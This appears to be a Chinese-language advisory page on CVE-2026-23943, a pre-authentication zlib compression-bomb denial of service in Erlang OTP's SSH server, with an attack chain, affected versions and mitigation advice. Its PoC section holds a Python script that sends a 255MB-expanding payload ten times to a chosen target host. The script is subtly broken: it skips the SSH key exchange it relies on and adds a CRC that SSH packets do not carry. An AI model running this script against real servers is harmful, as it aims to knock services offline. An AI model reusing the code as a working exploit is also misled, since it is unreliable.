IPBUF安全漏洞报告
English
CVE-2026-23943 CVSS 5.3 中危

CVE-2026-23943 Erlang OTP SSH压缩炸弹拒绝服务漏洞

披露日期: 2026-03-13
来源: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

漏洞信息

漏洞编号
CVE-2026-23943
漏洞类型
压缩炸弹/资源耗尽
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Erlang OTP ssh

相关标签

Erlang OTPSSH压缩炸弹拒绝服务资源耗尽内存耗尽CVE-2026-23943zlibDoSSSH传输层

漏洞概述

CVE-2026-23943是Erlang OTP中SSH传输层的压缩炸弹漏洞。该漏洞存在于ssh_transport模块中,由于SSH传输层默认启用遗留的zlib压缩算法,且在认证前对攻击者控制的压缩载荷进行解压时没有设置任何大小限制,导致攻击者可以利用极小的压缩数据(256KB)解压出巨大的数据量(约255MB),实现1029:1的放大攻击比。通过发送多个恶意压缩的SSH数据包,攻击者可以快速耗尽目标服务器的可用内存,在内存受限环境中引发OOM(内存耗尽)杀死进程,最终导致拒绝服务。攻击者无需认证即可利用zlib压缩算法发起攻击。

技术细节

漏洞根源在于Erlang OTP的SSH传输层实现中,ssh_transport:decompress/2函数在处理zlib压缩数据时缺少边界检查。当SSH连接建立时,服务器默认会协商使用zlib压缩算法。攻击者可以在密钥交换完成后、认证完成前,发送经过精心构造的极小压缩数据块。由于没有解压大小限制,每个SSH数据包可以解压出约255MB的原始数据。攻击者可以连续发送多个这样的数据包,在短时间内使服务器内存急剧增长。以1029:1的放大比计算,攻击者只需发送约256KB的压缩数据即可解压出约255MB的明文数据。这种资源耗尽攻击对于内存受限的嵌入式系统或容器环境尤为有效。

攻击链分析

STEP 1
步骤1
攻击者连接目标SSH服务器(端口22),触发密钥交换和压缩算法协商
STEP 2
步骤2
服务器默认启用zlib压缩算法,攻击者获取压缩上下文
STEP 3
步骤3
攻击者在认证前发送精心构造的小型压缩数据块(约256KB),该数据解压后可达255MB
STEP 4
步骤4
ssh_transport:decompress/2函数无大小限制地解压数据,导致服务器内存急剧增长
STEP 5
步骤5
攻击者重复发送多个恶意压缩数据包,快速耗尽服务器可用内存
STEP 6
步骤6
服务器触发OOM Killer或进程崩溃,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import zlib def create_compression_bomb_payload(): """ Create a compression bomb payload for SSH This generates highly compressed data that expands to ~255MB """ # Create target size data (255MB) target_data = b'A' * (255 * 1024 * 1024) # Compress the data compressed = zlib.compress(target_data, 9) print(f"Original size: {len(target_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(target_data) / len(compressed):.1f}:1") return compressed def send_ssh_compressed_packet(sock, payload): """ Send a SSH packet with compressed payload """ # SSH packet format: length(4) + padding_length(1) + payload + padding padding_length = 8 payload_length = len(payload) total_length = 1 + payload_length + padding_length # Construct packet packet = struct.pack('>I', total_length) packet += struct.pack('B', padding_length) packet += payload packet += b'\x00' * padding_length # Calculate CRC crc = zlib.crc32(packet) & 0xffffffff sock.send(struct.pack('>I', total_length + 4)) sock.send(packet) sock.send(struct.pack('>I', crc)) def exploit_cve_2026_23943(target_host, target_port=22): """ Exploit CVE-2026-23943: SSH Compression Bomb DoS """ payload = create_compression_bomb_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"Connected to {target_host}:{target_port}") # Send multiple compressed packets to exhaust memory for i in range(10): send_ssh_compressed_packet(sock, payload) print(f"Sent packet {i+1}") sock.close() print("Attack completed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_cve_2026_23943(sys.argv[1]) else: print("Usage: python exploit.py <target_host>")

影响范围

Erlang OTP < 26.2.5.18
Erlang OTP 27.x < 27.3.4.9
Erlang OTP 28.x < 28.4.1
Erlang ssh < 5.1.4.14
Erlang ssh 5.2.x < 5.2.11.6
Erlang ssh 5.5.x < 5.5.1

防御指南

临时缓解措施
如果无法立即升级,可通过SSH服务器配置禁用zlib压缩算法(将Compression设置为no),或使用防火墙限制SSH访问来源,避免暴露在不可信的网络中。对于内存受限的环境,建议设置进程内存限制(ulimit)以防止完全内存耗尽。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表